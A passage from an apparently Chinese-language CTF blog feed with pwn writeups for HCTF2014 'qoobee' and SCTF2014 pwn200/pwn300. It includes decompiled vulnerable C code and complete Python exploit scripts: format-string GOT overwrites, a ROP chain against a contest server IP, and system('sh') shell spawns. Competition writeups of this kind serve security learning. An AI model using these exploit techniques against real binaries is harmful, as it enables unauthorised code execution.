class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'win'</span>)</span><br><span class="line">        modnum = <span class="number">2</span></span><br><span class="line">        <span class="keyword">if</span> len(rightset)==<span class="number">31</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="string">'$'</span></span><br><span class="line">        io.read_until(<span class="string">'Select one: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'1234'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)? '</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'7'</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">            log(i)</span><br><span class="line">            log(right_dic\[i\])</span><br><span class="line">            io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">            io.writeline(right_dic\[i\])</span><br><span class="line">        io.writeline(<span class="string">'paper'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)?'</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    r = divnum*<span class="number">3</span> + modnum</span><br><span class="line">    log (<span class="string">"char is %d,'%c'"</span> % (r,chr(r)))</span><br><span class="line">    rightset.append(modnum)</span><br><span class="line">    log(<span class="string">'out checkround'</span>)</span><br><span class="line">    <span class="keyword">return</span> chr(r)</span><br><span class="line">\<span class="comment">#     testdiv(modnum)</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">p7</span><span class="params">()</span>:</span></span><br><span class="line">\<span class="comment">#     io.read_until('Your Choice: ')</span></span><br><span class="line">\<span class="comment">#     io.writeline('1')</span></span><br><span class="line">\<span class="comment">#     io.read_until('QooBee Name: ')</span></span><br><span class="line">\<span class="comment">#     io.writeline('1')</span></span><br><span class="line">\<span class="comment">#     io.read_until('QooBee Age: ')</span></span><br><span class="line">\<span class="comment">#     io.writeline('1')</span></span><br><span class="line">\<span class="comment">#     io.read_until('Description(30 bytes): ')</span></span><br><span class="line">\<span class="comment">#     io.writeline('1')</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        round()</span><br><span class="line">    <span class="keyword">except</span> TIMEOUT:</span><br><span class="line">        <span class="keyword">print</span> flag</span><br><span class="line">\<span class="comment">#     print 'end'</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line">    reg=re.compile(<span class="string">r'have (d+) donuts'</span>)</span><br><span class="line">    reg_level=re.compile(<span class="string">r'Exp: d+/(d+)'</span>)</span><br><span class="line">    time1 = time.time()</span><br><span class="line">\<span class="comment">#     io = zio('./qoobee4')</span></span><br><span class="line">    io.read_until(<span class="string">'Choice:'</span>)</span><br><span class="line">    io.writeline(<span class="string">'1'</span>)</span><br><span class="line">    io.read_until(<span class="string">'Name:'</span>)</span><br><span class="line">    io.writeline(<span class="string">'1'</span>)</span><br><span class="line">    io.read_until(<span class="string">'Age:'</span>)</span><br><span class="line">    io.writeline(<span class="string">'1'</span>)</span><br><span class="line">    io.read_until(<span class="string">'(30 bytes):'</span>)</span><br><span class="line">    io.writeline(<span class="string">'%8888u%8888u%4u%4u%4u%4u%n'</span>)</span><br><span class="line">    total=<span class="number">0</span></span><br><span class="line">    Level=<span class="number">0</span></span><br><span class="line">    io.read_until(<span class="string">'Choice:'</span>)</span><br><span class="line">    <span class="keyword">while</span> Level&lt;<span class="number">49</span>:</span><br><span class="line">        <span class="keyword">while</span> total&lt;<span class="number">1000</span>:</span><br><span class="line">            io.writeline(<span class="string">'3'</span>)</span><br><span class="line">            r = io.read_until(<span class="string">'?'</span>)</span><br><span class="line">            ind = r.index(<span class="string">'Amount'</span>)</span><br><span class="line">            Amount = int(r\[ind+<span class="number">6</span>:ind+<span class="number">8</span>\])</span><br><span class="line">            io.writeline(str(Amount))</span><br><span class="line">            total+=Amount</span><br><span class="line">            r = io.read_until(<span class="string">'Choice:'</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">'Sorry'</span> <span class="keyword">in</span> r:</span><br><span class="line">                total-=Amount</span><br><span class="line">                io.writeline(<span class="string">'2'</span>)</span><br><span class="line">                io.read_until(<span class="string">'Choice:'</span>)</span><br><span class="line">        <span class="keyword">while</span> total&gt;<span class="number">0</span>:</span><br><span class="line">            <span class="keyword">if</span> len(reg\_level.findall(r))&gt;<span class="number">0</span> <span class="keyword">and</span> <span class="number">500</span> == int(reg\_level.findall(r)\[<span class="number">0</span>\]):</span><br><span class="line">                <span class="keyword">print</span> reg_level.findall(r)</span><br><span class="line">                Level=<span class="number">49</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            io.writeline(<span class="string">'4'</span>)</span><br><span class="line">            r = io.read_until(<span class="string">'?'</span>)</span><br><span class="line">            have=int(reg.findall(r)\[<span class="number">0</span>\])</span><br><span class="line">            <span class="keyword">if</span> have&gt;=<span class="number">9</span>:</span><br><span class="line">                have = <span class="number">9</span></span><br><span class="line">            total-=have</span><br><span class="line">            io.writeline(str(have))</span><br><span class="line">    time2=time.time()</span><br><span class="line">    <span class="keyword">print</span> time2-time1</span><br><span class="line">    p7()</span><br><span class="line">    f = open(<span class="string">'flagset'</span>,<span class="string">'a'</span>)</span><br><span class="line">    f.write(flag+<span class="string">' '</span>+time.strftime(<span class="string">'%H:%M:%S'</span>,time.localtime(time.time()))+<span class="string">'n'</span>)</span><br><span class="line">    f.close()</span><br><span class="line">    <span class="keyword">print</span> <span class="string">'thread over with flag:%s'</span> % flag</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">'\_\_main\_\_'</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><h1 id="Qoobee6"><a href="#Qoobee6" class="headerlink" title="Qoobee6"></a>Qoobee6</h1><h2 id="利用分析-5"><a href="#利用分析-5" class="headerlink" title="利用分析"></a>利用分析</h2><p>printf可以对age指定的任意地址写入</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl fun2\_sub_80497A8(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// ecx@2</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax@4</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// \[sp+1Ch\] \[bp-Ch\]@1</span></span><br><span class="line"></span><br><span class="line">  v4 = *MK\_FP(\_\_GS__, <span class="number">20</span>);</span><br><span class="line">  <span class="keyword">if</span> ( a1 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"nYour QooBee Dragon Info:"</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Name: %sn"</span>, a1 + <span class="number">20</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Age: %dn"</span>, *(_DWORD *)(a1 + <span class="number">32</span>));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Description: "</span>);</span><br><span class="line">    <span class="built_in">printf</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)(a1 + <span class="number">36</span>));            <span class="comment">// format string, write \[age dword\]</span></span><br><span class="line">                                                <span class="comment">// nerver patched</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Level: %dnMoney: $%dn"</span>, *(\_BYTE *)(a1 + <span class="number">8</span>), *(\_DWORD *)a1);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Donuts: %dn"</span>, *(_DWORD *)(a1 + <span class="number">4</span>));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Exp: %d/%dn"</span>, *(_DWORD *)(a1 + <span class="number">12</span>), a2);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Vit: %d/%dn"</span>, *(_DWORD *)(a1 + <span class="number">16</span>), <span class="number">0x1F4</span>u);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"You need adopt a QooBee Dragon first!"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  result = *MK\_FP(\_\_GS__, <span class="number">20</span>) ^ v4;</span><br><span class="line">  <span class="keyword">if</span> ( *MK\_FP(\_\_GS__, <span class="number">20</span>) != v4 )</span><br><span class="line">    \_\_stack\_chk_fail(v2);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>读plt获得printf函数的地址 通过给定libc.so偏移获取system地址 将system替换plt的mmap函数</p><h2 id="利用代码-5"><a href="#利用代码-5" class="headerlink" title="利用代码"></a>利用代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">printf format string attack</span></span><br><span class="line"><span class="string">not patched</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> libformatstr <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">io = zio(<span class="string">'./qoobee'</span>,timeout=<span class="number">8000000</span>,print_write=COLORED(REPR))</span><br><span class="line"></span><br><span class="line">\<span class="comment"># replaced function</span></span><br><span class="line">printf\_got\_plt = <span class="number">0x0804B74C</span></span><br><span class="line">mmap\_got\_plt = <span class="number">0x0804B77C</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># in my system</span></span><br><span class="line">\<span class="comment"># printf      0x0004d1f0</span></span><br><span class="line">\<span class="comment"># system  0x00040100</span></span><br><span class="line">offset\_printf\_system = <span class="number">-0xd0f0</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak_dword</span><span class="params">(addr)</span>:</span></span><br><span class="line">    io.writeline(<span class="string">'1'</span>)</span><br><span class="line">    io.writeline(<span class="string">'1'</span>)</span><br><span class="line">    io.writeline(str(addr))</span><br><span class="line">    io.writeline(<span class="string">'%.4s'</span>)</span><br><span class="line">    io.writeline(<span class="string">'2'</span>)</span><br><span class="line">    io.read_until(<span class="string">'Description: '</span>)</span><br><span class="line">    plt = io.read(<span class="number">4</span>)</span><br><span class="line">    log(<span class="string">'addr %08x:%s'</span> % (addr,hex(struct.unpack(<span class="string">'&lt;I'</span>, plt)\[<span class="number">0</span>\])), color=<span class="string">'red'</span>)</span><br><span class="line">    <span class="keyword">return</span> plt</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get</span>\<span class="title">_printf</span>\<span class="title">_addr</span><span class="params">()</span>:</span></span><br><span class="line">    rst = struct.unpack(<span class="string">'&lt;I'</span>,leak\_dword(printf\_got_plt))\[<span class="number">0</span>\]</span><br><span class="line">    log(<span class="string">'printf_plt:%s'</span> % hex(rst), color=<span class="string">'red'</span>)</span><br><span class="line">    <span class="keyword">return</span> rst</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">set_dword</span><span class="params">(addr, dword)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> dword == <span class="number">0</span>:</span><br><span class="line">        payload = <span class="string">'%n'</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        payload = <span class="string">'%0'</span>+str(dword)+<span class="string">'x'</span>+<span class="string">'%1$n'</span></span><br><span class="line">    io.writeline(<span class="string">'1'</span>)</span><br><span class="line">    io.writeline(<span class="string">'1'</span>)</span><br><span class="line">    io.writeline(str(addr))</span><br><span class="line">    io.writeline(payload)</span><br><span class="line">    io.writeline(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">'\_\_main\_\_'</span>:</span><br><span class="line">    io.writeline(<span class="string">'-214'</span>)</span><br><span class="line">    io.writeline(<span class="string">'sh'</span>)</span><br><span class="line">    got_plt = <span class="string">""</span></span><br><span class="line">    printf\_plt = get\_printf_addr()</span><br><span class="line">    system\_addr = printf\_plt + offset\_printf\_system</span><br><span class="line">    got\_plt += l32(system\_addr)</span><br><span class="line">    log(<span class="string">'system\_addr:%s'</span> % hex(system\_addr), color=<span class="string">'red'</span>)</span><br><span class="line">    io.gdb_hint()</span><br><span class="line">    i = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> got_plt:</span><br><span class="line">        log(<span class="string">'set %02x:%u'</span> % (ord(c),struct.unpack(<span class="string">'&lt;B'</span>, c)\[<span class="number">0</span>\]), color=<span class="string">'red'</span>)</span><br><span class="line">        set\_dword(mmap\_got_plt+i, struct.unpack(<span class="string">'&lt;B'</span>, c)\[<span class="number">0</span>\])</span><br><span class="line">        i += <span class="number">1</span></span><br><span class="line">    io.writeline(<span class="string">'-214'</span>)</span><br><span class="line">    io.interact()</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;整理题目的时候把HCTF2014 FINAL的qoobee全部做了一遍。 做的时候没有顺序，利用代码也没好好写。。。超级乱。。。看者见谅。。。&lt;/p&gt;
&lt;h1 id=&quot;Qoobee&quot;&gt;&lt;a href=&quot;#Qoobee&quot; class=&quot;headerlink&quot; title=&quot;Q
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="hctf" scheme="https://blog.eadom.net/tags/hctf/"/>
    
  </entry>
  
  <entry>
    <title>SCTF2014之PWN部分writeup</title>
    <link href="https://blog.eadom.net/writeups/sctf2014-pwn-writeups/"/>
    <id>https://blog.eadom.net/writeups/sctf2014-pwn-writeups/</id>
    <published>2014-12-08T08:13:56.000Z</published>
    <updated>2025-11-21T12:45:50.805Z</updated>
    
    <content type="html"><![CDATA[<h1 id="PWN200"><a href="#PWN200" class="headerlink" title="PWN200"></a>PWN200</h1><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pwn200: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26</span><br><span class="line">RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE</span><br><span class="line">No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   pwn200</span><br></pre></td></tr></table></figure><p>只启用了NX 接下来分析程序，程序很简单</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">ssize\<span class="keyword">_t</span> \_\<span class="function">_cdecl <span class="title">sub_80484AC</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">ssize_t</span> result; <span class="comment">// eax@3</span></span><br><span class="line">  <span class="keyword">char</span> v1; <span class="comment">// \[sp+1Ch\] \[bp-9Ch\]@1</span></span><br><span class="line">  <span class="keyword">int</span> buf; <span class="comment">// \[sp+9Ch\] \[bp-1Ch\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// \[sp+A0h\] \[bp-18h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// \[sp+A4h\] \[bp-14h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// \[sp+A8h\] \[bp-10h\]@1</span></span><br><span class="line">  <span class="keyword">size_t</span> n; <span class="comment">// \[sp+ACh\] \[bp-Ch\]@1</span></span><br><span class="line"></span><br><span class="line">  n = <span class="number">16</span>;</span><br><span class="line">  buf = <span class="number">0</span>;</span><br><span class="line">  v3 = <span class="number">0</span>;</span><br><span class="line">  v4 = <span class="number">0</span>;</span><br><span class="line">  v5 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">memset</span>(&amp;v1, <span class="number">0</span>, <span class="number">0x80</span>u);</span><br><span class="line">  write(<span class="number">1</span>, <span class="string">"input name:"</span>, <span class="number">12u</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;buf, n + <span class="number">1</span>);         <span class="comment">//读取17个字符到buf，存在一个字节的溢出，修改n的值</span></span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strlen</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;buf) - <span class="number">1</span> &gt; <span class="number">9</span> || <span class="built_in">strncmp</span>(<span class="string">"syclover"</span>, (<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;buf, <span class="number">8u</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    result = <span class="number">-1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    write(<span class="number">1</span>, <span class="string">"input slogan:"</span>, <span class="number">14u</span>);</span><br><span class="line">    read(<span class="number">0</span>, &amp;v1, n);        <span class="comment">//n值被修改后溢出v1</span></span><br><span class="line">    result = write(<span class="number">1</span>, &amp;v1, n);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序在read到buf时多读了一个字符，导致溢出修改n的值，之后read到v1时导致溢出控制程序流程。</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>第一步先写入”sycloverx00x00123456xef”，其中xef就是覆盖变量n的字节。 之后程序调用read(0, &amp;v1, n);时就可以读入payload 因为NX，所以采用ROP链执行。 题目提供了glibc.so，所以思路是先读取plt中__libc_start_main的地址，通过提供的glibc.so获取到system和__libc_start_main的偏移差计算出system的位置。</p><p>0003f430  w   DF .text 0000008d  GLIBC_2.0   system<br>000193e0 g    DF .text  000001c2  GLIBC_2.0   __libc_start_main</p><p>地址偏移为 0x26050 之后将其写入.plt中__libc_start_main的位置。最后通过执行.got中__libc_start_main并置入参数sh来执行system(“sh”)获得shell。 exploit如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">SCTF2014 pwn200 exp</span></span><br><span class="line"><span class="string">yuf4n</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">write_got = l32(<span class="number">0x080483A0</span>)</span><br><span class="line">read_got = l32(<span class="number">0x08048360</span>)</span><br><span class="line">lib\_main\_got = l32(<span class="number">0x08048390</span>)</span><br><span class="line">lib\_main\_plt = l32(<span class="number">0x0804985C</span>)</span><br><span class="line">ppppr = l32(<span class="number">0x08048645</span>)</span><br><span class="line">pppr = l32(<span class="number">0x08048646</span>)</span><br><span class="line">ppr = l32(<span class="number">0x080485bf</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># io = zio('./pwn200',print_write=COLORED(REPR))</span></span><br><span class="line">io = zio((<span class="string">'218.2.197.248'</span>,<span class="number">10001</span>),print_write=COLORED(REPR))</span><br><span class="line"></span><br><span class="line">payload0 = <span class="string">''</span></span><br><span class="line">payload0 += <span class="string">'sycloverx00x00123456'</span>+<span class="string">'xef'</span> <span class="comment"># second write len</span></span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">''</span></span><br><span class="line">\<span class="comment"># second write</span></span><br><span class="line">\<span class="comment"># junk</span></span><br><span class="line">payload1 += <span class="string">'1'</span> * <span class="number">0x9c</span></span><br><span class="line">\<span class="comment"># ebp</span></span><br><span class="line">payload1 += <span class="string">'2345'</span></span><br><span class="line">\<span class="comment"># eip call write</span></span><br><span class="line">payload1 += write_got</span><br><span class="line">\<span class="comment"># pppr</span></span><br><span class="line">payload1 += pppr</span><br><span class="line">\<span class="comment"># write args</span></span><br><span class="line">payload1 += l32(<span class="number">0x1</span>)</span><br><span class="line">payload1 += lib\_main\_plt</span><br><span class="line">payload1 += l32(<span class="number">0x04</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># read modify libmainplt</span></span><br><span class="line">payload1 += read_got</span><br><span class="line">\<span class="comment"># pppr</span></span><br><span class="line">payload1 += pppr</span><br><span class="line">\<span class="comment"># args</span></span><br><span class="line">payload1 += l32(<span class="number">0x0</span>)</span><br><span class="line">payload1 += lib\_main\_plt</span><br><span class="line">payload1 += l32(<span class="number">0x08</span>) </span><br><span class="line"></span><br><span class="line">\<span class="comment"># lib_main(system)</span></span><br><span class="line">payload1 += lib\_main\_got</span><br><span class="line">payload1 += <span class="string">'1111'</span></span><br><span class="line">payload1 += l32(<span class="number">0x0804985C</span>+<span class="number">0x4</span>)</span><br><span class="line">\<span class="comment"># print len(payload1)</span></span><br><span class="line"></span><br><span class="line">io.read_until(<span class="string">'input name:'</span>)</span><br><span class="line">io.write(payload0)</span><br><span class="line">io.read_until(<span class="string">'input slogan:'</span>)</span><br><span class="line">io.write(payload1)</span><br><span class="line"></span><br><span class="line">buf = io.sock.recv(<span class="number">1024</span>)</span><br><span class="line">lib\_main\_add = struct.unpack(<span class="string">'&lt;I'</span>,buf\[<span class="number">-4</span>:\])\[<span class="number">0</span>\]</span><br><span class="line">system\_add = lib\_main_add + <span class="number">0x26050</span></span><br><span class="line"><span class="keyword">print</span> hex(lib\_main\_add)</span><br><span class="line">\<span class="comment"># io.gdb_hint()</span></span><br><span class="line">payload2 = l32(system_add)</span><br><span class="line">payload2 += <span class="string">'shx00x00'</span></span><br><span class="line"></span><br><span class="line">io.write(payload2+<span class="string">'n'</span>)</span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><p>flag SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}</p><h1 id="PWN300"><a href="#PWN300" class="headerlink" title="PWN300"></a>PWN300</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pwn300: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24</span><br><span class="line">RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE</span><br><span class="line">No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   pwn300</span><br></pre></td></tr></table></figure><p>题目也提供了glibc，而且pwn200进去以后发现三题都在一个服务器上。所以目测利用方法应该相似。</p><h2 id="漏洞分析-1"><a href="#漏洞分析-1" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>在第三个功能显示message发现一个格式化溢出漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl fun3\_sub_80487FA()</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax@1</span></span><br><span class="line">  <span class="keyword">char</span> dest; <span class="comment">// \[sp+1Ch\] \[bp-40Ch\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// \[sp+41Ch\] \[bp-Ch\]@1</span></span><br><span class="line"></span><br><span class="line">  v2 = *MK\_FP(\_\_GS__, <span class="number">20</span>);</span><br><span class="line">  <span class="built_in">strcpy</span>(&amp;dest, src);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"Your message is:"</span>);</span><br><span class="line">  <span class="built_in">printf</span>(src);                                  <span class="comment">// exploit</span></span><br><span class="line">  result = *MK\_FP(\_\_GS__, <span class="number">20</span>) ^ v2;</span><br><span class="line">  <span class="keyword">if</span> ( *MK\_FP(\_\_GS__, <span class="number">20</span>) != v2 )</span><br><span class="line">    \_\_stack\_chk_fail();</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而且之前还很配合的把src的内容复制到栈里。。。这样就有机会对任意地址进行修改</p><h2 id="漏洞利用-1"><a href="#漏洞利用-1" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>利用格式化溢出漏洞可以对内存读取写入，所以可以利用pwn200的利用方式：读取PLT中__libc_main_start的地址，通过libc.so计算system的地址写入程序之后可能会用到的函数的GOT 通过调试发现输入buf的起点位于printf调用的第七个变量 读取.plt __libc_main_start的payload ‘x28x91x04x08%7$sn’ 接下来找一个接下来可能调用到的函数修改其PLT为system函数的地址。这个函数最好可以把“sh”作为参数放进去。于是我选择了memset函数 他在第二个功能中被用到，而且正好把src当参数调用，这样我们通过留言功能让src为”sh”就能调用system(“sh”)了。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span 